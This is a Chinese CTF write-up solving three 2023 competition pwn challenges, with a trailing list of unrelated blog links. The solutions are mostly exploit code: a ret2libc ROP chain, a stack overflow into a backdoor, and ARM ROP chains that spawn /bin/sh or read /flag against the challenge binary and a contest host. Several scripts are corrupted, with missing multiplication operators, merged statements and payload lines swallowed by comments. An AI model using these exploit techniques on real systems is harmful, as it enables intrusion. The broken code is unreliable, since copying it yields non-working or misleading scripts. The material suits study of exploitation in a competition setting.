pwn2

return2libc,白给

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug') setup('./pwn')
libset('libc.so.6')
rsetup('vt.jnxl2023.sierting.com',30454)
evgdb()
ret = 0x401230
rdi = 0x4011e3
puts = pltadd('puts')
got = gotadd('puts')
sl(b'9'0x18+p64(rdi)+p64(got)+p64(puts)+p64(0x4011e8))
addx = tet()
addx = getx64(0,-1)
libc = getbase(addx,'puts')
sys = symoff('system',libc)
binsh = libc + 0x00000000001d8698
sla(b'gift',b'1'0x18+p64(rdi)+p64(binsh)+p64(ret)+p64(sys))

pwn

c++题目,但是无所谓,没开canary肯定有栈溢出,直接开始尝试。除了输入int的不行,输入char字符串的应该可以溢出。有后门函数,直接狂溢出,注意栈对齐少一个push即可打通。

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug') setup('./pwn')
#libset('libc-2.31.so')
rsetup('vt.jnxl2023.sierting.com',31712)
evgdb()
sl(b'1')
sl(p64(0x4025db))
sl(b'1')
sl(p64(0x4025db))
sl(b'2')
sl(b'0')
sl(p64(0x4025db))
sl(p64(0x4025db)*999)
#没开canary,给了后门,直接栈溢出
ia()

pwn3

一道arm pwn,最有意思。这里记录一下调试方法,非常非常重要。

p = process(["qemu-arm", "-g", "1234", "./pwn"])首先写这个作为p。运行脚本之后,在另一个终端执行以下命令

即可调试。

arm架构中,调用号3是read,4是write,5是open,0xb是execve。

r7用来存储系统调用号。

r0,r1,r2分别为三个参数。其中r2的控制较为麻烦,不过问题不大。

知道上面这些之后就好打了,给出orw和execve的打法exp。

execve

from pwn import *
import sys
# 指定 qemu 命令和需要运行的二进制文件
#context(arch='arm',log_level='debug')#context(arch='arm',log_level='debug')
qemu_command = "qemu-arm"
binary_file = "./pwn"
context(os='linux', arch='arm', log_level='debug')
p = process(["qemu-arm", "-g", "1234", "./pwn"])
p = process(["qemu-arm", "./pwn"])
# 使用 process 函数启动 qemu 和二进制文件
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
rl = lambda :p.recvline()
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p32(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
# Attach GDB to the running process with additional commands
#pause()
sh = 0x0005c58c #/sh
sla(b'message',b'admin:a:ctfer')
sla(b'message',b'ctfer\x00')
sh = 0x408001cc
sh = 0x0005c58c
r0r4pc = 0x000236f4
r1 = 0x00059e48 # pop {r1, pc}
r4 = 0x000104bc # pop {r4, pc}
r3 = 0x0001014c # pop {r3, pc}
svc = 0x0001d230 # svc #0 ; pop {r7, pc}
callr3 = 0x000108d8
flag = 0x86000
r7 = 0x0001d234 #r7
r2 = 0x0005a484 # mov r2, r1 ; mov r4, r0 ; mov r5, r1 ; mov r1, r0 ; mov r0, #2 ; blx r3
orw = p32(0) + p32(r7) + p32(3) + p32(r0r4pc) + p32(0)*2 + p32(r1) + p32(0x86000) + p32(svc)#read /bin/sh orw += p32(0xb) + p32(r1) + p32(0) + p32(r3) + p32(r0r4pc) + p32(r2) + p32(0x86000)*2 + p32(r1) + p32(0)+p32(svc) sla(b'say something',b'/bin/sh\x00caaadaaaeaaafaaagaaahaaaiaaa'+orw)
sl(b'/bin/sh\x00')
p.interactive()

orw

from pwn import *
import sys
# 指定 qemu 命令和需要运行的二进制文件
#context(arch='arm',log_level='debug')#context(arch='arm',log_level='debug')
qemu_command = "qemu-arm"
binary_file = "./pwn"
context(os='linux', arch='arm', log_level='debug')
#p = process(["qemu-arm", "-g", "1234", "./pwn"])
p = process(["qemu-arm", "./pwn"])
# 使用 process 函数启动 qemu 和二进制文件
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
rl = lambda :p.recvline()
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p32(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
# Attach GDB to the running process with additional commands
#pause()
sh = 0x0005c58c #/sh
sla(b'message',b'admin:a:ctfer')
sla(b'message',b'ctfer\x00')
sh = 0x408001cc
sh = 0x0005c58c
r0r4pc = 0x000236f4
r1 = 0x00059e48 # pop {r1, pc}
r4 = 0x000104bc # pop {r4, pc}
r3 = 0x0001014c # pop {r3, pc}
svc = 0x0001d230 # svc #0 ; pop {r7, pc}
callr3 = 0x000108d8
flag = 0x86000
r7 = 0x0001d234 #r7 orw = p32(0) + p32(r7) + p32(3) + p32(r0r4pc) + p32(0)*2 + p32(r1) + p32(0x86000) + p32(svc)#read
orw += p32(5) + p32(r0r4pc) + p32(flag)*2 +p32(r1) + p32(0) + p32(svc)#open
orw += p32(3) + p32(r0r4pc) + p32(3)*2 + p32(r1) + p32(0x87000) + p32(svc)#read,这里的r0可以是3或者7
orw += p32(4) + p32(r0r4pc) + p32(1)*2 + p32(r1) + p32(0x87000) + p32(svc)
#5是open
#4是write
#3是read
sla(b'say something',b'/bin/sh\x00caaadaaaeaaafaaagaaahaaaiaaa'+orw)
sl(b'/flag\x00')
p.interactive()

附上c-python调试方法

采用香山杯2023题目。

在开头加上代码

import sys
sys.path.append('./')

然后,确保python版本和库版本相同。

app.cpython-37m-x86_64-linux-gnu.so这里是37m也就是python3.7。

然后导入就可以运行了。调试的时候,使用代码如下。

p = process(["python", "./main.py"])
gdb.attach(p)

记得下断点到库里面的内容。

山东职业竞赛wp2023(arm、cpython)的更多相关文章

  1. 全国高校json数据包(复python解析代码)

    由于这段时间需要有关学校的三级联动插件,找了很久没有找到合适的,所以去教育部官网下载了一份全国普通高校名单(2019年), 这里附上解析该xls文件的代码 import xlrd import jso ...

  2. 应聘linux/ARM嵌入式开发岗位

    **************************************************************** 因为发在中华英才和智联招聘没有人采我所以我 在这里发布我的个人简历希望 ...

  3. Linux方向职业规划

    Linux方向职业分析 引言: 据了解,Linux普通网络管理人员的月薪大约5000元左右,负责编程的Linux软件工程师月薪大约在8000元到12000元之间,Linux嵌入式软件开发人员的月薪大约 ...

  4. STM32与LPC系列ARM资源之比较

    由于有周立公开发板的影响,LPC系列的开发板在工程师心目中一般是入门的最好型号之一.这次刚好有STM32的竞赛,正好将两者的资源进行比较一下(LPC系列以LPC213X为例). LPC213X包括LP ...

  5. 基于ARM的车牌识别技术研究与实现

    在云盘里包含了我本科毕业设计的全部资料和代码.主要涉及下面摘要中的几个部分.虽然系统无法实用,但是适合机器视觉和嵌入式方向的入门.希望能对有志从事相关方向的朋友有所帮助.本人现在在深圳从事机器视觉算法 ...

  6. 【转】Linux方向职业分析

    引言: 据了解,Linux普通网络管理人员的月薪大约5000元左右,负责编程的Linux软件工程师月薪大约在8000元到12000元之间,Linux嵌入式软件开发人员的月薪大约在12000元以上. 影 ...

  7. 安晓辉大神的感悟:如果你发现了自己的学习模式,愿意学并且能坚持,我觉得没什么能阻挡你征服软件世界的脚步(对于开发人员来讲,最大的风险是:在职业规划上没有延续性地乱跳槽。时刻要牢记在心的:培养自己的稀缺性) good

    从技术支持中途转战软件开发,如今从事编程工作已十多有余,2014年CSDN博文大赛编程语言组冠军.CSDN Qt论坛的版主安晓辉老师从今天开始,坐镇CSDN社区问答栏目的 第十四期,届时会接受广大网友 ...

  8. 解读ARM成功秘诀:薄利多销推广产品

    解读ARM成功秘诀:薄利多销推广产品 2013年07月04日 15:04   新浪科技 微博    我有话说(2人参与)   导语:美国电子杂志Slate周一发表署名 法哈德·曼约奥(Farhad M ...

  9. 安卓5.0宣告了ARM平台全面进入64位时代

    安卓5.0宣告了ARM平台全面进入64位时代 2014年10月份,安卓5.0正式版发布了,安卓5.0支持64位CPU,安卓5.0全面启用ART运行模式,在程序安装的时候,进行预编译,新的运行环境能够使 ...

  10. 山东理工oj--1912--IP地址(水题)

     IP地址 Time Limit: 1000ms   Memory limit: 65536K  有疑问?点这里^_^ 题目描述 2011年2月3日,国际互联网名称与数字地址分配机构(ICANN) ...

随机推荐

  1. 每天学五分钟 Liunx 010 | ssh

    Liunx ssh known_hosts   known_hosts是做服务器认证的.当用 ssh 连接到一个新的服务器的时候,ssh 会让你确认服务器的信息(域名.IP.公钥),如果你确认了,就会 ...

  2. 深入理解Kafka核心设计及原理(一):初识Kafka

    转载请注明出处: 1.1 kafka简介 Kafka 起初是由 Linkedin 公司采用 Scala 语言开发的一个多分区.多副本且基于 ZooKeeper协调的分布式消息系统,现己被捐献给 Apa ...

  3. 如何学习 Photoshop

    你有没有想过"图像处理或图形设计看起来很酷,我要学习 Photoshop!" 然后你第一次打开 Photoshop,并被你所看到的东西所震撼. Photoshop 是一款功能强大的 ...

  4. 小技巧:WIndows快速创建文件夹

    快速创建文件夹的技巧 1.首先创建文本文档将扩展名更改为.bt,mkdir.bat 2.写入创建文件夹的代码 md 文件夹1 文件夹2 文件夹3 pause 3.双击执行mkdir.bat

  5. 安卓系统如何使用谷歌框架下的app?

    1.问题 安卓系统从理论上无法使用谷歌框架下的应用(比如像GMail,YouTube,Google play等等),会导致一些麻烦(闪退,卡在登陆界面等等) 注意:使用前提是会魔法,否则请绕道 2.解 ...

  6. 永久激活Windows10专业版及其它版本【亲测有效2022-03-16,两种方式】

    前言 小编最近使用公司的电脑,开始出现让你激活的提示,而且每次开机都会弹出来,小编忍住了:但是过不了半个月开始给你在桌面上显示了,一直显示和水印一样.小编忍无可忍,必须找个办法给你消灭掉!!,于是小编 ...

  7. 【C/C++】 代码质量控制手段

    问题引入 多人协作开发的项目,没有统一的代码规范,那么最终的编写状态必定风格迥异,产生的结果:对内,阅读审核代码是很痛苦的:对外,公司形象就是差. 单干的项目也必须要严格按照代码规范,因为最终还是会对 ...

  8. 【css】 text-align 居中导航

    原理 :利用 inline-block 将 导航 作为 文本 , 被外层具有 text-align 属性的导航盒子包含 .从而实现居中效果 1.  html 结构 <header> < ...

  9. mysql-三元表达式函数-if

  10. [转帖]HAProxy 在 TiDB 中的最佳实践

    https://docs.pingcap.com/zh/tidb/stable/haproxy-best-practices 本文介绍 HAProxy 在 TiDB 中的最佳配置和使用方法.HAPro ...